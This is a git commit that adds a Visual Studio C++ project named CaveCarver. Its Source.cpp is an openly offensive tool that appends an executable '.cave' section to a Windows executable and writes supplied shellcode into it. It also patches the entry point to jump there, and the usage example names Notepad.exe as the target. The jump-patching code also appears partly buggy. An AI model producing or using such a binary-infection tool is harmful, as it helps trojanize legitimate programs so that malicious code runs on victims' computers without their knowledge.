Add project files.
This commit is contained in:
parent
d8fca6377d
commit
dc236ca2d5
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Microsoft Visual Studio Solution File, Format Version 12.00
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||||||
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# Visual Studio Version 17
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||||||
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VisualStudioVersion = 17.3.32901.215
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||||||
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MinimumVisualStudioVersion = 10.0.40219.1
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Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CaveCarver", "CaveCarver\CaveCarver.vcxproj", "{A618857F-EB0B-4BF5-AF6E-E6B54A69A729}"
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||||||
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EndProject
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||||||
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Global
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||||||
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GlobalSection(SolutionConfigurationPlatforms) = preSolution
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||||||
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Debug|x64 = Debug|x64
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Debug|x86 = Debug|x86
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Release|x64 = Release|x64
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||||||
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Release|x86 = Release|x86
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||||||
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EndGlobalSection
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||||||
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GlobalSection(ProjectConfigurationPlatforms) = postSolution
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||||||
|
{A618857F-EB0B-4BF5-AF6E-E6B54A69A729}.Debug|x64.ActiveCfg = Debug|x64
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||||||
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{A618857F-EB0B-4BF5-AF6E-E6B54A69A729}.Debug|x64.Build.0 = Debug|x64
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||||||
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{A618857F-EB0B-4BF5-AF6E-E6B54A69A729}.Debug|x86.ActiveCfg = Debug|Win32
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||||||
|
{A618857F-EB0B-4BF5-AF6E-E6B54A69A729}.Debug|x86.Build.0 = Debug|Win32
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||||||
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{A618857F-EB0B-4BF5-AF6E-E6B54A69A729}.Release|x64.ActiveCfg = Release|x64
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||||||
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{A618857F-EB0B-4BF5-AF6E-E6B54A69A729}.Release|x64.Build.0 = Release|x64
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||||||
|
{A618857F-EB0B-4BF5-AF6E-E6B54A69A729}.Release|x86.ActiveCfg = Release|Win32
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||||||
|
{A618857F-EB0B-4BF5-AF6E-E6B54A69A729}.Release|x86.Build.0 = Release|Win32
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||||||
|
EndGlobalSection
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||||||
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GlobalSection(SolutionProperties) = preSolution
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||||||
|
HideSolutionNode = FALSE
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||||||
|
EndGlobalSection
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||||||
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GlobalSection(ExtensibilityGlobals) = postSolution
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||||||
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SolutionGuid = {20B8D1E1-471D-4F41-A25C-7E02F79FD62E}
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||||||
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EndGlobalSection
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||||||
|
EndGlobal
|
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@ -0,0 +1,135 @@
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<?xml version="1.0" encoding="utf-8"?>
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||||||
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<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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||||||
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<ItemGroup Label="ProjectConfigurations">
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||||||
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<ProjectConfiguration Include="Debug|Win32">
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||||||
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<Configuration>Debug</Configuration>
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||||||
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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||||||
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<ProjectConfiguration Include="Release|Win32">
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<Configuration>Release</Configuration>
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<Platform>Win32</Platform>
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||||||
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</ProjectConfiguration>
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||||||
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<ProjectConfiguration Include="Debug|x64">
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<Configuration>Debug</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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||||||
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<ProjectConfiguration Include="Release|x64">
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<Configuration>Release</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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</ItemGroup>
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<PropertyGroup Label="Globals">
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||||||
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<VCProjectVersion>16.0</VCProjectVersion>
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||||||
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<Keyword>Win32Proj</Keyword>
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||||||
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<ProjectGuid>{a618857f-eb0b-4bf5-af6e-e6b54a69a729}</ProjectGuid>
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<RootNamespace>CaveCarver</RootNamespace>
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||||||
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<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
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</PropertyGroup>
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||||||
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
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||||||
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<ConfigurationType>Application</ConfigurationType>
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||||||
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<UseDebugLibraries>true</UseDebugLibraries>
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||||||
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<PlatformToolset>v143</PlatformToolset>
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||||||
|
<CharacterSet>Unicode</CharacterSet>
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||||||
|
</PropertyGroup>
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||||||
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
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||||||
|
<ConfigurationType>Application</ConfigurationType>
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||||||
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<UseDebugLibraries>false</UseDebugLibraries>
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||||||
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<PlatformToolset>v143</PlatformToolset>
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||||||
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<WholeProgramOptimization>true</WholeProgramOptimization>
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||||||
|
<CharacterSet>Unicode</CharacterSet>
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||||||
|
</PropertyGroup>
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||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
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||||||
|
<ConfigurationType>Application</ConfigurationType>
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||||||
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<UseDebugLibraries>true</UseDebugLibraries>
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||||||
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<PlatformToolset>v143</PlatformToolset>
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||||||
|
<CharacterSet>Unicode</CharacterSet>
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||||||
|
</PropertyGroup>
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||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
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||||||
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<ConfigurationType>Application</ConfigurationType>
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||||||
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<UseDebugLibraries>false</UseDebugLibraries>
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||||||
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<PlatformToolset>v143</PlatformToolset>
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||||||
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<WholeProgramOptimization>true</WholeProgramOptimization>
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||||||
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<CharacterSet>Unicode</CharacterSet>
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||||||
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</PropertyGroup>
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||||||
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
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||||||
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<ImportGroup Label="ExtensionSettings">
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||||||
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</ImportGroup>
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||||||
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<ImportGroup Label="Shared">
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||||||
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</ImportGroup>
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||||||
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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||||||
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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||||||
|
</ImportGroup>
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||||||
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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||||||
|
</ImportGroup>
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||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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||||||
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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||||||
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</ImportGroup>
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||||||
|
<PropertyGroup Label="UserMacros" />
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||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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||||||
|
<ClCompile>
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||||||
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<WarningLevel>Level3</WarningLevel>
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||||||
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<SDLCheck>true</SDLCheck>
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||||||
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<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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||||||
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<ConformanceMode>true</ConformanceMode>
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||||||
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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||||||
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<GenerateDebugInformation>true</GenerateDebugInformation>
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||||||
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</Link>
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||||||
|
</ItemDefinitionGroup>
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||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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||||||
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<ClCompile>
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||||||
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<WarningLevel>Level3</WarningLevel>
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||||||
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<FunctionLevelLinking>true</FunctionLevelLinking>
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||||||
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<IntrinsicFunctions>true</IntrinsicFunctions>
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||||||
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<SDLCheck>true</SDLCheck>
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||||||
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<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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||||||
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<ConformanceMode>true</ConformanceMode>
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||||||
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</ClCompile>
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||||||
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<Link>
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||||||
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<SubSystem>Console</SubSystem>
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||||||
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<EnableCOMDATFolding>true</EnableCOMDATFolding>
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||||||
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<OptimizeReferences>true</OptimizeReferences>
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||||||
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<GenerateDebugInformation>true</GenerateDebugInformation>
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||||||
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</Link>
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||||||
|
</ItemDefinitionGroup>
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||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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||||||
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<ClCompile>
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||||||
|
<WarningLevel>Level3</WarningLevel>
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||||||
|
<SDLCheck>true</SDLCheck>
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||||||
|
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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||||||
|
<ConformanceMode>true</ConformanceMode>
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||||||
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</ClCompile>
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||||||
|
<Link>
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||||||
|
<SubSystem>Console</SubSystem>
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||||||
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<GenerateDebugInformation>true</GenerateDebugInformation>
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||||||
|
</Link>
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||||||
|
</ItemDefinitionGroup>
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||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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||||||
|
<ClCompile>
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||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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||||||
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<ConformanceMode>true</ConformanceMode>
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||||||
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</ClCompile>
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||||||
|
<Link>
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||||||
|
<SubSystem>Console</SubSystem>
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||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
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||||||
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<GenerateDebugInformation>true</GenerateDebugInformation>
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||||||
|
</Link>
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||||||
|
</ItemDefinitionGroup>
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||||||
|
<ItemGroup>
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||||||
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<ClCompile Include="Source.cpp" />
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||||||
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</ItemGroup>
|
||||||
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
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||||||
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<ImportGroup Label="ExtensionTargets">
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||||||
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</ImportGroup>
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||||||
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</Project>
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@ -0,0 +1,22 @@
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||||||
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<?xml version="1.0" encoding="utf-8"?>
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||||||
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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
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||||||
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<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
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||||||
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</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
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<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
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||||||
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<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
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||||||
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</Filter>
|
||||||
|
<Filter Include="Resource Files">
|
||||||
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<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
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||||||
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<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||||
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</Filter>
|
||||||
|
</ItemGroup>
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||||||
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<ItemGroup>
|
||||||
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<ClCompile Include="Source.cpp">
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||||||
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<Filter>Source Files</Filter>
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||||||
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</ClCompile>
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||||||
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</ItemGroup>
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||||||
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</Project>
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@ -0,0 +1,246 @@
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||||||
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#define _CRT_SECURE_NO_WARNINGS
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#include <Windows.h>
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#include <stdio.h>
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#include <fstream>
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#include <vector>
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#include <iostream>
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#include <filesystem>
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DWORD align(DWORD size, DWORD align, DWORD addr) {
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if (!(size % align))
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return addr + size;
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return addr + (size / align + 1) * align;
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}
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BOOL InsertSection(const char* path, std::vector<unsigned char> buffer, UINT32 shellSize)
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{
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HANDLE file = CreateFileA(path, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
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if (file == INVALID_HANDLE_VALUE)
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{
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printf("[-] Failed to open file\n");
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return FALSE;
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||||||
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}
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PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)buffer.data();
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if (dos->e_magic != IMAGE_DOS_SIGNATURE)
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{
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printf("[-] Invalid PE\n");
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return FALSE;
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}
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PIMAGE_FILE_HEADER fileHeader = (PIMAGE_FILE_HEADER)(buffer.data() + dos->e_lfanew + sizeof(ULONG));
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PIMAGE_OPTIONAL_HEADER64 optionalHeader = (PIMAGE_OPTIONAL_HEADER64)(buffer.data() + dos->e_lfanew + sizeof(ULONG) + sizeof(IMAGE_FILE_HEADER));
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PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)(buffer.data() + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS64));
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printf("%x\n", sectionHeader->Characteristics);
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ZeroMemory(§ionHeader[fileHeader->NumberOfSections], sizeof(IMAGE_SECTION_HEADER));
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CopyMemory(§ionHeader[fileHeader->NumberOfSections].Name, ".cave", 8);
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//We use 8 bytes for section name,cause it is the maximum allowed section name size
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//lets insert all the required information about our new PE section
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sectionHeader[fileHeader->NumberOfSections].Misc.VirtualSize = align(shellSize, optionalHeader->SectionAlignment, 0);
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sectionHeader[fileHeader->NumberOfSections].VirtualAddress = align(sectionHeader[fileHeader->NumberOfSections - 1].Misc.VirtualSize, optionalHeader->SectionAlignment, sectionHeader[fileHeader->NumberOfSections - 1].VirtualAddress);
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sectionHeader[fileHeader->NumberOfSections].SizeOfRawData = align(shellSize, optionalHeader->FileAlignment, 0);
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sectionHeader[fileHeader->NumberOfSections].PointerToRawData = align(sectionHeader[fileHeader->NumberOfSections - 1].SizeOfRawData, optionalHeader->FileAlignment, sectionHeader[fileHeader->NumberOfSections - 1].PointerToRawData);
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sectionHeader[fileHeader->NumberOfSections].Characteristics = 0xE00000E0;
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/*
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0xE00000E0 = IMAGE_SCN_MEM_WRITE |
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IMAGE_SCN_CNT_CODE |
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IMAGE_SCN_CNT_UNINITIALIZED_DATA |
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IMAGE_SCN_MEM_EXECUTE |
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IMAGE_SCN_CNT_INITIALIZED_DATA |
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IMAGE_SCN_MEM_READ
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*/
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SetFilePointer(file, sectionHeader[fileHeader->NumberOfSections].PointerToRawData + sectionHeader[fileHeader->NumberOfSections].SizeOfRawData, NULL, FILE_BEGIN);
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//end the file right here,on the last section + it's own size
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SetEndOfFile(file);
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//now lets change the size of the image,to correspond to our modifications
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//by adding a new section,the image size is bigger now
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optionalHeader->SizeOfImage = sectionHeader[fileHeader->NumberOfSections].VirtualAddress + sectionHeader[fileHeader->NumberOfSections].Misc.VirtualSize;
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//and we added a new section,so we change the NOS too
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fileHeader->NumberOfSections += 1;
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SetFilePointer(file, 0, NULL, FILE_BEGIN);
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//and finaly,we add all the modifications to the file
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||||||
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DWORD dw;
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||||||
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WriteFile(file, buffer.data(), buffer.size(), &dw, NULL);
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CloseHandle(file);
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||||||
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||||||
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return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
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BOOL InjectShellcode(const char* path, std::vector<unsigned char> buffer)
|
||||||
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{
|
||||||
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HANDLE file = CreateFileA(path, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
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if (file == INVALID_HANDLE_VALUE)
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||||||
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return false;
|
||||||
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DWORD filesize = GetFileSize(file, NULL);
|
||||||
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BYTE* pByte = new BYTE[filesize];
|
||||||
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DWORD dw;
|
||||||
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ReadFile(file, pByte, filesize, &dw, NULL);
|
||||||
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PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte;
|
||||||
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PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pByte + dos->e_lfanew);
|
||||||
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||||||
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//since we added a new section,it must be the last section added,cause of the code inside
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||||||
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//AddSection function,thus we must get to the last section to insert our secret data :)
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||||||
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PIMAGE_SECTION_HEADER first = IMAGE_FIRST_SECTION(nt);
|
||||||
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PIMAGE_SECTION_HEADER last = first + (nt->FileHeader.NumberOfSections - 1);
|
||||||
|
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||||||
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SetFilePointer(file, last->PointerToRawData, NULL, FILE_BEGIN);
|
||||||
|
|
||||||
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WriteFile(file, buffer.data(), buffer.size(), &dw, 0);
|
||||||
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CloseHandle(file);
|
||||||
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return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
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BOOL PatchInstruction(const char* path)
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||||||
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{
|
||||||
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// Open the file
|
||||||
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std::ifstream file(path, std::ios::binary);
|
||||||
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if (!file.is_open()) {
|
||||||
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std::cerr << "Could not open file: " << path << std::endl;
|
||||||
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return FALSE;
|
||||||
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}
|
||||||
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|
||||||
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// Get the file size
|
||||||
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file.seekg(0, std::ios::end);
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||||||
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size_t fileSize = file.tellg();
|
||||||
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file.seekg(0, std::ios::beg);
|
||||||
|
|
||||||
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// Read the file into a buffer
|
||||||
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char* buffer = new char[fileSize];
|
||||||
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file.read(buffer, fileSize);
|
||||||
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|
||||||
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// Get the DOS header
|
||||||
|
IMAGE_DOS_HEADER* dosHeader = reinterpret_cast<IMAGE_DOS_HEADER*>(buffer);
|
||||||
|
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||||
|
std::cerr << "Invalid DOS signature." << std::endl;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get the NT headers
|
||||||
|
IMAGE_NT_HEADERS64* ntHeader = reinterpret_cast<IMAGE_NT_HEADERS64*>(buffer + dosHeader->e_lfanew);
|
||||||
|
if (ntHeader->Signature != IMAGE_NT_SIGNATURE) {
|
||||||
|
std::cerr << "Invalid NT signature." << std::endl;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get the section headers
|
||||||
|
IMAGE_SECTION_HEADER* sectionHeader = IMAGE_FIRST_SECTION(ntHeader);
|
||||||
|
|
||||||
|
// Find the .cave section
|
||||||
|
IMAGE_SECTION_HEADER* caveSectionHeader = nullptr;
|
||||||
|
for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {
|
||||||
|
if (strncmp(reinterpret_cast<char*>(sectionHeader[i].Name), ".cave", IMAGE_SIZEOF_SHORT_NAME) == 0) {
|
||||||
|
caveSectionHeader = §ionHeader[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (caveSectionHeader == nullptr) {
|
||||||
|
std::cerr << "Could not find .cave section." << std::endl;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get the RVA of the entry point
|
||||||
|
DWORD entryPointRva = ntHeader->OptionalHeader.AddressOfEntryPoint;
|
||||||
|
printf("[+] Entry point: 0x%x\n", entryPointRva);
|
||||||
|
|
||||||
|
// Calculate the file offset of the entry point
|
||||||
|
DWORD entryPointOffset = 0;
|
||||||
|
for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {
|
||||||
|
if (entryPointRva >= sectionHeader[i].VirtualAddress &&
|
||||||
|
entryPointRva < sectionHeader[i].VirtualAddress + sectionHeader[i].Misc.VirtualSize) {
|
||||||
|
entryPointOffset = sectionHeader[i].PointerToRawData + (entryPointRva - sectionHeader[i].VirtualAddress);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (entryPointOffset == 0) {
|
||||||
|
std::cerr << "Could not find file offset of entry point." << std::endl;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Calculate the address of the jump target
|
||||||
|
DWORD jumpTargetAddress = ntHeader->OptionalHeader.ImageBase + caveSectionHeader->VirtualAddress;
|
||||||
|
DWORD jumpOffset = jumpTargetAddress - (ntHeader->OptionalHeader.ImageBase + entryPointRva + sizeof(5));
|
||||||
|
|
||||||
|
// Patch the entry point with a jump instruction to the .cave section
|
||||||
|
unsigned char bytes[5];
|
||||||
|
bytes[0] = (jumpOffset & 0xFF000000) >> 24;
|
||||||
|
bytes[1] = (jumpOffset & 0x00FF0000) >> 16;
|
||||||
|
bytes[2] = (jumpOffset & 0x0000FF00) >> 8;
|
||||||
|
bytes[3] = jumpOffset & 0x000000FF;
|
||||||
|
bytes[4] = 0xE9;
|
||||||
|
|
||||||
|
std::reverse(bytes, bytes + sizeof(bytes));
|
||||||
|
|
||||||
|
printf("[+] Patch shellcode: ");
|
||||||
|
for (int i = 0; i < sizeof(bytes); i++)
|
||||||
|
printf("0x%x ", bytes[i]);
|
||||||
|
printf("\n");
|
||||||
|
|
||||||
|
memcpy(buffer + entryPointOffset, bytes, sizeof(bytes));
|
||||||
|
memcpy(buffer + entryPointOffset + sizeof(bytes), &jumpOffset, sizeof(jumpOffset));
|
||||||
|
|
||||||
|
std::cout << "[+] Patched entrypoint" << std::endl;
|
||||||
|
|
||||||
|
// Save the patched file to disk
|
||||||
|
std::ofstream outputFile("patched.exe", std::ios::binary);
|
||||||
|
if (!outputFile.is_open()) {
|
||||||
|
std::cerr << "Could not create output file." << std::endl;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
outputFile.write(buffer, fileSize);
|
||||||
|
|
||||||
|
// Cleanup
|
||||||
|
delete[] buffer;
|
||||||
|
|
||||||
|
std::cout << "[+] Patched file saved to 'patched.exe'" << std::endl;
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID Helper()
|
||||||
|
{
|
||||||
|
printf("\n");
|
||||||
|
printf("Usage:\n");
|
||||||
|
printf("CodeCaver.exe executable shellcode\n\n");
|
||||||
|
printf("Example:\n");
|
||||||
|
printf("CodeCaver.exe C:\\Notepad.exe C:\\Users\\user\\shellcode.bin\n\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char* argv[])
|
||||||
|
{
|
||||||
|
if (argc < 3)
|
||||||
|
{
|
||||||
|
printf("[-] Invalid paramters\n");
|
||||||
|
Helper();
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char* exePath = argv[1];
|
||||||
|
const char* shellPath = argv[2];
|
||||||
|
|
||||||
|
std::ifstream exe(exePath, std::ios::binary);
|
||||||
|
std::vector<unsigned char> exeBuffer(std::istreambuf_iterator<char>(exe), {});
|
||||||
|
exe.close();
|
||||||
|
|
||||||
|
std::ifstream shell(shellPath, std::ios::binary);
|
||||||
|
std::vector<unsigned char> shellBuffer(std::istreambuf_iterator<char>(shell), {});
|
||||||
|
shell.close();
|
||||||
|
|
||||||
|
printf("[+] Exe size: %d\n", exeBuffer.size());
|
||||||
|
printf("[+] Shellcode size: %d\n", shellBuffer.size());
|
||||||
|
|
||||||
|
if (!InsertSection(exePath, exeBuffer, shellBuffer.size()))
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
if (!InjectShellcode(exePath, shellBuffer))
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
if (!PatchInstruction(exePath))
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
printf("[+] Success!\n");
|
||||||
|
}
|
Loading…
Reference in New Issue